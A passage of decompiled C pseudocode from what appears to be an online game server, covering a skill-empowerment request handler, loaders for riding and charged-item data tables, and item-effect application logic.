v4; // edi@1 __int16 v5; // ax@5 int v6; // ebx@5 int v7; // eax@16 int v8; // eax@16 int v9; // eax@18 unsigned int v10; // eax@23 int v11; // ebx@23 int v12; // esi@23 PROTO_NC_SKILL_EMPOWALLOC_REQ *v13; // esi@27 char *v14; // ebx@29 int v15; // edx@30 int v16; // eax@30 void *v17; // eax@32 ItemAttributeClassVtbl *v18; // edx@32 void *v19; // esi@32 int v20; // eax@32 __int16 v21; // dx@32 int v22; // eax@33 int v23; // eax@33 int v24; // esi@34 ItemAttributeClass *v25; // edi@34 __int16 v26; // dx@34 char v27; // al@34 int v28; // esi@34 int v29; // edi@34 void *v30; // ST14_4@34 int v31; // eax@34 bool v32; // sf@35 unsigned __int8 v33; // of@35 int v34; // ST20_4@40 char v35; // al@40 ZoneBaseSession *v36; // eax@41 PROTO_NC_SKILL_EMPOWALLOC_REQ *inv; // [sp+30h] [bp-ECh]@5 unsigned int itemnum; // [sp+34h] [bp-E8h]@16 SKILL_EMPOWER empowresult; // [sp+38h] [bp-E4h]@27 char *iac; // [sp+3Ch] [bp-E0h]@17 unsigned int minustotal; // [sp+40h] [bp-DCh]@15 int v42; // [sp+44h] [bp-D8h]@1 ItemAttributeClass *v43; // [sp+48h] [bp-D4h]@31 FunctionEntarance _; // [sp+4Ch] [bp-D0h]@1 ItemBoxIterIdent *v45; // [sp+50h] [bp-CCh]@30 int v46; // [sp+54h] [bp-C8h]@30 int v47; // [sp+58h] [bp-C4h]@30 void *iic; // [sp+5Ch] [bp-C0h]@32 ItemBoxIterIdent *uii; // [sp+60h] [bp-BCh]@16 int v50; // [sp+64h] [bp-B8h]@16 int v51; // [sp+68h] [bp-B4h]@16 ItemBoxIterIdent ibii; // [sp+6Ch] [bp-B0h]@16 ItemBoxIterIdent this; // [sp+80h] [bp-9Ch]@30 int iti; // [sp+94h] [bp-88h]@34 int v55; // [sp+98h] [bp-84h]@34 __int16 v56; // [sp+9Ch] [bp-80h]@34 __int16 v57; // [sp+100h] [bp-1Ch]@34 char v58; // [sp+102h] [bp-1Ah]@34 unsigned int v59; // [sp+108h] [bp-14h]@1 int v60; // [sp+118h] [bp-4h]@1 int v61; // [sp+11Ch] [bp+0h]@1 v4 = (int)ecx0; v59 = (unsigned int)&v61 ^ __security_cookie; v42 = (int)ecx0; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v60 = 0; if ( !(_S7_45 & 1) ) { _S7_45 |= 1u; cmc_19.cmc_AllowMode = 118; atexit(_E8_33); } if ( !((1 << **(_BYTE **)(v4 + 3568)) & cmc_19.cmc_AllowMode) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v4 + 896))(v4, 2178, 65535); v60 = -1; LABEL_26: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"); return; } v5 = *(_WORD *)(netcmd + 4); v6 = netcmd + 2; inv = (PROTO_NC_SKILL_EMPOWALLOC_REQ *)(netcmd + 2); if ( v5 & 0xF && *(_BYTE *)(netcmd + 6) & 0xF || v5 & 0xF0 && *(_BYTE *)(netcmd + 6) & 0xF0 ) { (*(void (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2185, *(_WORD *)v6); v60 = -1; goto LABEL_26; } if ( v5 & 0xF00 && *(_BYTE *)(netcmd + 7) & 0xF || v5 & 0xF000 && *(_WORD *)(netcmd + 6) & 0xF000 ) { (*(void (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2185, *(_WORD *)v6); v60 = -1; goto LABEL_26; } minustotal = (*(_WORD *)(netcmd + 6) & 0xF) + ((unsigned int)*(_WORD *)(netcmd + 6) >> 12) + (((unsigned int)*(_WORD *)(netcmd + 6) >> 4) & 0xF) + (((unsigned int)*(_WORD *)(netcmd + 6) >> 8) & 0xF); if ( (signed int)minustotal > 0 ) { itemnum = 0; ItemBoxIterIdent::ItemBoxIterIdent(&ibii, (ItemBag *)(v4 + 35680), ident, (ChargedEffectContainer *)(v4 + 142688)); v7 = *(_DWORD *)v4; LOBYTE(v60) = 1; v8 = (*(int (__thiscall **)(int))(v7 + 2004))(v4); uii = &ibii; v50 = v8; v51 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { iac = (char *)ItemAttributeClassContainer::operator__(&itmattcontainer, ident); while ( 1 ) { v9 = (**(int (__stdcall ***)(_DWORD))uii->baseclass_0.ibi_itembag)(uii->baseclass_0.ibi_finger); itemnum += (*(int (__stdcall **)(int))(*(_DWORD *)iac + 24))(v9 + 8); if ( (signed int)itemnum >= (signed int)minustotal ) break; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ) goto LABEL_20; } } else { LABEL_20: if ( (signed int)itemnum < (signed int)minustotal ) { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2182, *(_WORD *)v6); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; LABEL_25: v60 = -1; goto LABEL_26; } } LOBYTE(v60) = 0; } v10 = *(_WORD *)(netcmd + 6); v11 = (*(_WORD *)(netcmd + 4) & 0xF) + ((unsigned int)*(_WORD *)(netcmd + 4) >> 12) + (((unsigned int)*(_WORD *)(netcmd + 4) >> 8) & 0xF) + (((unsigned int)*(_WORD *)(netcmd + 4) >> 4) & 0xF) - ((unsigned __int8)v10 >> 4) - ((v10 >> 8) & 0xF) - (v10 >> 12) - (v10 & 0xF); v12 = v11 + CharaterSkillList::csl_EmpowerSummary((CharaterSkillList *)(v4 + 68496)); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1712))(v4) < v12 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ : Too many points", v11); (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2179, inv->skill); goto LABEL_25; } v13 = inv; if ( CharaterSkillList::csl_EmpowerAlloc((CharaterSkillList *)(v4 + 68496), inv, &empowresult) ) { v14 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18450; *((_DWORD *)v14 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v14 + 1) = *(_WORD *)(v4 + 4); *(_WORD *)(v14 + 15) = empowresult._bf0; *(_WORD *)(v14 + 17) = empowresult._bf0; *(_WORD *)(v14 + 13) = v13->skill; *((_WORD *)v14 + 5) = v13->skill; v14[27] = 0; v14[12] = 0; *(_WORD *)(v14 + 25) = *(_WORD *)(v4 + 57884); iac = 0; if ( (signed int)minustotal > 0 ) { ItemBoxIterIdent::ItemBoxIterIdent(&this, (ItemBag *)(v4 + 35680), ident, (ChargedEffectContainer *)(v4 + 142688)); v15 = *(_DWORD *)v4; LOBYTE(v60) = 2; v16 = (*(int (__thiscall **)(int))(v15 + 2004))(v4); v45 = &this; v46 = v16; v47 = 9; itemnum = 0; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&v45) ) { v43 = ItemAttributeClassContainer::operator__(&itmattcontainer, ident); do { v17 = (void *)(**(int (__stdcall ***)(_DWORD))v45->baseclass_0.ibi_itembag)(v45->baseclass_0.ibi_finger); v18 = v43->vfptr; v19 = v17; iic = v17; v20 = ((int (__stdcall *)(char *))v18->iac_GetLot)((char *)v17 + 8); LOWORD(inv) = (unsigned __int16)inv & 0x3FF | 0x2400; v21 = (unsigned __int16)inv ^ LOWORD(v45->baseclass_0.ibi_finger); itemnum += v20; LOWORD(inv) = v21 & 0x3FF ^ (unsigned __int16)inv; if ( (signed int)itemnum > (signed int)minustotal ) { v14[27] |= 0x80u; memcpy(&iti, v19, 0x6Cu); v24 = (int)((char *)v19 + 108); v57 = *(_WORD *)v24; v58 = *(_BYTE *)(v24 + 2); v25 = v43; v43->vfptr->iac_SetLot(v43, (SHINE_ITEM_STRUCT *)&v56, itemnum - minustotal); *((_WORD *)v14 + 14) = v56; v26 = (signed __int16)inv; *(_DWORD *)(v14 + 30) = iti; v27 = v14[27]; *(_DWORD *)(v14 + 34) = v55; *((_WORD *)v14 + 20) = v26; v28 = (int)&v14[8 * (v27 & 0x7F) + 42]; v29 = (int)v25->vfptr->iac_fill2buffer(v25, (SHINE_ITEM_STRUCT *)&v56, (char *)v28); v30 = iic; v31 = *(_WORD *)(v14 + 25); *((_WORD *)v14 + 19) = v28 - (_WORD)v14 - 2; (*(void (__thiscall **)(int, int, void *, int *, PROTO_NC_SKILL_EMPOWALLOC_REQ **, PROTO_NC_SKILL_EMPOWALLOC_REQ **))(*(_DWORD *)(v42 + 57880) + 56))( v42 + 57880, v31, v30, &iti, &inv, &inv); iac = (char *)(v29 - v28); v4 = v42; } else { v22 = v14[27] & 0x7F; *(_DWORD *)&v14[8 * v22 + 42] = *(_DWORD *)v19; *(_DWORD *)&v14[8 * v22 + 46] = *((_DWORD *)v19 + 1); v23 = *(_WORD *)(v14 + 25); v14[27] ^= (v14[27] ^ (v14[27] + 1)) & 0x7F; (*(void (__thiscall **)(int, int, void *, PROTO_NC_SKILL_EMPOWALLOC_REQ **, PROTO_NC_SKILL_EMPOWALLOC_REQ **))(*(_DWORD *)(v4 + 57880) + 48))( v4 + 57880, v23, v19, &inv, &inv); } v33 = __OFSUB__(itemnum, minustotal); v32 = ((itemnum - minustotal) & 0x80000000u) != 0; v14[12] = 1; } while ( v32 ^ v33 && InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&v45) ); } LOBYTE(v60) = 0; this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; } if ( v14[12] == 1 ) *((_WORD *)v14 + 4) = (*(_WORD *)(v4 + 57884))++; v34 = (int)&iac[8 * (v14[27] & 0x7F) + 42]; v35 = ProtocolPacket::pp_SetPacketLen(&gpp, v34); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v35, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOW_RESET_REQ : Packet Too Long", v34) ) { v36 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v36); } } else { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2180, inv->skill); } v60 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (00443DE0) -------------------------------------------------------- #error "443DE0: undefined or illegal type '#593' (funcsize=85)" //----- (00443F20) -------------------------------------------------------- void __thiscall KQRegenTable::Element::Element(KQRegenTable::Element *this) { *(_QWORD *)&this->tablename.n3_name[4] = 0i64; *(_DWORD *)&this->tablename.n3_name[0] = 0; } //----- (00443F30) -------------------------------------------------------- void __thiscall Proto_CharDataStruct::Proto_CharDataStruct(Proto_CharDataStruct *this) { KQRegenTable::Element::Element((KQRegenTable::Element *)&this->pcds_Link2AnotherLayer); } //----- (00443F40) -------------------------------------------------------- void __thiscall MemoryQueueElement::MemoryQueueElement(MemoryQueueElement *this) { Proto_CharDataStruct::Proto_CharDataStruct(&this->content); } //----- (00443F50) -------------------------------------------------------- void __thiscall DataFromOtherMachineList::DataFromOtherMachineList(DataFromOtherMachineList *this) { DataFromOtherMachineList *v1; // edi@1 char *v2; // esi@1 char *v3; // ebx@1 v1 = this; v2 = (char *)&this->dfoml_Def.pcds_Link2AnotherLayer; v3 = (char *)&this->dfoml_MemoryQueue; *(_QWORD *)&this->dfoml_Def.pcds_Link2AnotherLayer.map.n3_name[4] = 0i64; *(_DWORD *)&this->dfoml_Def.pcds_Link2AnotherLayer.map.n3_name[0] = 0; _eh_vector_constructor_iterator_( &this->dfoml_MemoryQueue, 0x16u, 128, (void (__thiscall *)(void *))MemoryQueueElement::MemoryQueueElement, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *((_DWORD *)v3 + 705) = 127; *((_DWORD *)v3 + 704) = 0; v1->dfoml_Def.CharRegistNumber = -1; v1->dfoml_Def.pcds_Link2AnotherLayer.layer = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 1) = 0; *(_DWORD *)v2 = 0; strncpy(v2, byte_635E1E, 0xCu); } //----- (00443FC0) -------------------------------------------------------- void __thiscall DataFromOtherMachineList::_DataFromOtherMachineList(DataFromOtherMachineList *this) { _eh_vector_destructor_iterator_( &this->dfoml_MemoryQueue, 0x16u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00443FE0) -------------------------------------------------------- int __thiscall ChargedItemEffectFinger::cief_GetFinger(ORErrorMessage *this) { return this->orem_Line; } //----- (00443FF0) -------------------------------------------------------- char __thiscall ChargedItemEffectDataBox::cideb_Next(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { int v2; // eax@2 char result; // al@3 if ( finger->cief_Finger >= -1 && (v2 = finger->cief_Finger + 1, finger->cief_Finger = v2, v2 < this->cideb_Total) ) { result = 1; } else { finger->cief_Finger = -10; result = 0; } return result; } //----- (00444020) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x15D1u, 0x15Au) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (004440E0) -------------------------------------------------------- unsigned __int16 __cdecl RidingInitHungry(unsigned __int16 itmid) { CIDEB_Element *v1; // eax@1 RIDING *v2; // eax@2 unsigned __int16 result; // ax@3 v1 = ChargedItemEffectDataBox::cideb_GetItemID(&ridedatabox, itmid); if ( v1 && (v2 = v1->ce_Data) != 0 ) result = v2->InitHgauge; else result = 0; return result; } //----- (00444110) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { ChargedItemEffectDataBox *v4; // edi@1 int v5; // eax@1 unsigned int v6; // esi@1 void *v7; // ebx@3 unsigned int v8; // eax@8 int i; // ebx@13 CIDEB_Element *v10; // eax@14 unsigned __int16 v11; // cx@14 unsigned __int16 v12; // ax@18 int v13; // ebp@19 unsigned __int16 v14; // cx@21 int v15; // eax@23 int v16; // eax@24 v4 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, fname); v5 = v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4->cideb_Total = v5; v4->cideb_Array = (CIDEB_Element *)operator new__(8 * v5); v6 = 0; if ( v4->cideb_Total > 0 ) { while ( 1 ) { if ( v6 < v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v4->baseclass_0.baseclass_0.baseclass_0, v6); else v7 = &v4->baseclass_0.bdb_defaultblock; if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Null argument", v6); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } v8 = BTree::operator__(&stru_131DE8B8, (const char *)v7 + 2); if ( v8 == -1 ) LOWORD(v8) = -1; v4->cideb_Array[v6].ce_ItemID = v8; v4->cideb_Array[v6].ce_Data = (RIDING *)v7; if ( v4->cideb_Array[v6].ce_ItemID == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ChargedItemEffectDataBox::cideb_Load : Invalid item", (const char *)v7 + 2); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } for ( i = 0; i < (signed int)(v6 - 1); ++i ) { v10 = v4->cideb_Array; v11 = v10[i].ce_Data->Handle; if ( v11 == v10[v6].ce_Data->Handle ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Same Handle", v11); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } } v12 = v4->cideb_Array[v6].ce_ItemID; if ( (unsigned int)v12 >= *(_DWORD *)word_131DE8B4 || (v13 = unk_131DF0C4 + 32 * v12) == 0 || !*(_DWORD *)v13 ) goto LABEL_23; v14 = **(_WORD **)v13; if ( v14 != v12 ) break; v15 = unk_131DF0C4 + 32 * v12; LABEL_24: v16 = *(_DWORD *)(*(_DWORD *)v15 + 102); if ( v16 != 28 && v16 != 31 && v16 != 32 ) UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4->cideb_Array[v6].ce_ItemID, uib, uie); ++v6; if ( (signed int)v6 >= v4->cideb_Total ) return; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v12); LABEL_23: v15 = 0; goto LABEL_24; } } //----- (00444300) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { ChargedItemEffectDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); memset((void *)&v1->baseclass_0.bdb_defaultblock, 0, 0x28u); v1->baseclass_0.bdb_defaultblock.EffectValue = 0; v1->baseclass_0.bdb_defaultblock.StaStrength = 0; v1->cideb_Array = 0; } //----- (00444330) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->cideb_Array ) operator delete(this->cideb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00444350) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { ChargedItemEffectDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); memset(&v1->baseclass_0.bdb_defaultblock, 0, 0x6Cu); v1->baseclass_0.bdb_defaultblock.Casting = 0; v1->baseclass_0.bdb_defaultblock.Slot = 0; v1->cideb_Array = 0; } //----- (00444380) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->cideb_Array ) operator delete((void *)this->cideb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (004443A0) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { ChargedItemEffectDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); memset(&v1->baseclass_0.bdb_defaultblock, 0, sizeof(v1->baseclass_0.bdb_defaultblock)); v1->cideb_Array = 0; } //----- (004443C0) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->cideb_Array ) operator delete(this->cideb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (004443E0) -------------------------------------------------------- void __thiscall RidePetDataBox::RidePetDataBox(RidePetDataBox *this) { RidePetDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0.baseclass_0); memset(&v1->baseclass_0.baseclass_0.bdb_defaultblock, 0, 0x158u); *(_WORD *)&v1->baseclass_0.baseclass_0.bdb_defaultblock.DummyB[30] = 0; v1->baseclass_0.cideb_Array = 0; } //----- (00444410) -------------------------------------------------------- void __thiscall RidePetDataBox::_RidePetDataBox(RidePetDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->baseclass_0.cideb_Array ) operator delete((void *)this->baseclass_0.cideb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00444430) -------------------------------------------------------- void __thiscall RidePetDataBox::rpdb_Load(RidePetDataBox *this) { RidePetDataBox *v1; // ebp@1 SkillDataBox::SkillDataIndex *v2; // eax@1 signed int v3; // ebx@1 RIDING *v4; // eax@4 const char *v5; // esi@4 unsigned int v6; // eax@5 unsigned __int16 v7; // di@7 SkillDataBox::SkillDataIndex *v8; // eax@10 v1 = this; v2 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseRide"); ChargedItemEffectDataBox::cideb_Load(&v1->baseclass_0, "../9Data/Hero/Riding.shn", &ui_ride, v2); v3 = -1; while ( v3 >= -1 ) { ++v3; if ( v3 >= v1->baseclass_0.cideb_Total ) break; v4 = v1->baseclass_0.cideb_Array[v3].ce_Data; v5 = v4->FeedType; if ( v4->FeedType[0] != 45 ) { v6 = BTree::operator__(&stru_131DE8B8, v4->FeedType); if ( v6 == -1 ) LOWORD(v6) = -1; v7 = v6; if ( (unsigned __int16)v6 == 65535 ) { AssertClass::ac_AssertFail(&shineassert, "RidePetDataBox::rpdb_Load : Invalid food", v5); ShineExit("RidePetDataBox::rpdb_Load"); } v8 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v7, &ui_horsefood, v8); } } } //----- (00444500) -------------------------------------------------------- int __cdecl mysecond(int *pnt) { int v1; // ecx@0 int result; // eax@1 int cur; // [sp+0h] [bp-4h]@1 cur = v1; time(&cur); result = diffence2world + cur; if ( pnt ) *pnt = result; return result; } // 8C8E20: using guessed type __int32 diffence2world; //----- (00444530) -------------------------------------------------------- ChargedItemEffect *__thiscall ChargedItemEffectDataBox::cideb_FindFromHandle(ChargedItemEffectDataBox *this, int handle) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 int v5; // ecx@2 ChargedItemEffect *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = (int)&v4->ce_Data; while ( **(_WORD **)v5 != handle ) { ++v3; v5 += 8; if ( v3 >= v2 ) goto LABEL_5; } result = v4[v3].ce_Data; } return result; } //----- (00444570) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 ChargedItemEffectList::ChargedItemEffectElement *v5; // edx@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; ele->ciee_Index = v5->ciee_Index; *(_DWORD *)&ele->ciee_Year = *(_DWORD *)&v5->ciee_Year; *(_DWORD *)&ele->ciee_Minute = *(_DWORD *)&v5->ciee_Minute; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (004445D0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 ChargedItemEffectList::ChargedItemEffectElement *v5; // edx@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; ele->ciee_Index = v5->ciee_Index; *(_DWORD *)&ele->ciee_Year = *(_DWORD *)&v5->ciee_Year; *(_DWORD *)&ele->ciee_Minute = *(_DWORD *)&v5->ciee_Minute; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00444630) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_SetEndTime(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffect *index, int year, int month, int date, int hour, int minute) { ChargedItemEffectList::ChargedItemEffectElement *v7; // esi@1 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ChargedItemEffectList::ChargedItemEffect::cie_SetEndTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ChargedItemEffectList::ChargedItemEffect::cie_SetEndTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7->ciee_Month = month; v7->ciee_Index = index; v7->ciee_Year = year; v7->ciee_Minute = minute; v7->ciee_Date = date; v7->ciee_Hour = hour; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ChargedItemEffectList::ChargedItemEffect::cie_SetEndTime"); } //----- (004446C0) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle) { ChargedItemEffectList::ChargedItemEffectElement *v3; // esi@1 ChargedItemEffect *v4; // eax@1 char v5; // al@5 char v6; // al@7 char v7; // al@9 unsigned __int16 v8; // ax@12 unsigned __int16 v9; // ax@14 unsigned __int16 v10; // ax@16 unsigned __int16 v11; // ax@18 unsigned __int16 v12; // ax@20 ChargedItemEffectList::ChargedItem *v13; // ecx@22 unsigned __int16 v14; // ax@23 unsigned __int16 v15; // ax@26 unsigned int v16; // eax@28 ChargedItemEffectList::ChargedItem *v17; // ecx@30 unsigned int v18; // eax@30 unsigned __int16 v19; // ax@35 unsigned __int16 v20; // ax@40 ChargedItemEffectList::ChargedItem *v21; // ecx@42 unsigned __int16 v22; // ax@43 unsigned __int16 v23; // ax@46 unsigned __int16 v24; // ax@48 unsigned __int16 v25; // ax@50 unsigned __int16 v26; // ax@52 unsigned __int16 v27; // ax@54 unsigned __int16 v28; // ax@59 unsigned __int16 v29; // ax@61 unsigned __int16 v30; // ax@63 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ChargedItemEffectElement::ChargedItemEffect::ciee_Activ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ChargedItemEffectElement::ChargedItemEffect::ciee_Activ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->ciee_Index; switch ( v3->ciee_Index->EffectEnum ) { case 0: if ( chargeditem->ci_Effect.cec_SilverWingCoolTime_Minute > v4->EffectValue ) chargeditem->ci_Effect.cec_SilverWingCoolTime_Minute = LOBYTE(v4->EffectValue); break; case 1: chargeditem->ci_Effect.cec_ProveOfBless.bless = 1; chargeditem->ci_Effect.cec_ProveOfBless.blesshandle = handle; break; case 2: v5 = LOBYTE(v4->EffectValue) + chargeditem->ci_Effect.cec_MoreInven; chargeditem->ci_Effect.cec_MoreInven = v5; if ( (unsigned __int8)v5 > 4u ) chargeditem->ci_Effect.cec_MoreInven = 4; break; case 3: v6 = LOBYTE(v4->EffectValue) + chargeditem->ci_Effect.cec_MoreStorage; chargeditem->ci_Effect.cec_MoreStorage = v6; if ( (unsigned __int8)v6 > 4u ) chargeditem->ci_Effect.cec_MoreStorage = 4; break; case 4: v7 = LOBYTE(v4->EffectValue) + chargeditem->ci_Effect.cec_StreetBoothSlot; chargeditem->ci_Effect.cec_StreetBoothSlot = v7; if ( (unsigned __int8)v7 > 0x14u ) chargeditem->ci_Effect.cec_StreetBoothSlot = 20; break; case 5: chargeditem->ci_Effect.cec_LighteningPickParts = 1; break; case 6: v8 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_HPStoneLimit < v8 ) chargeditem->ci_Effect.cec_HPStoneLimit = v8; break; case 7: v9 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_SPStoneLimit < v9 ) chargeditem->ci_Effect.cec_SPStoneLimit = v9; break; case 8: v10 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_HPStoneLimit < v10 ) chargeditem->ci_Effect.cec_HPStoneLimit = v10; v11 = v3->ciee_Index->EffectValue; if ( chargeditem->ci_Effect.cec_SPStoneLimit < v11 ) chargeditem->ci_Effect.cec_SPStoneLimit = v11; break; case 0xD: v12 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_MaxHPRate < v12 ) chargeditem->ci_Effect.cec_MaxHPRate = v12; break; case 0xE: v13 = chargeditem; goto LABEL_26; case 0xF: v13 = chargeditem; v14 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_MaxHPRate < v14 ) chargeditem->ci_Effect.cec_MaxHPRate = v14; v4 = v3->ciee_Index; LABEL_26: v15 = v4->EffectValue; if ( v13->ci_Effect.cec_MaxSPRate < v15 ) v13->ci_Effect.cec_MaxSPRate = v15; break; case 0xA: v16 = ((signed int)((unsigned __int64)((v4->EffectValue << 10) * (signed __int64)(signed int)((char 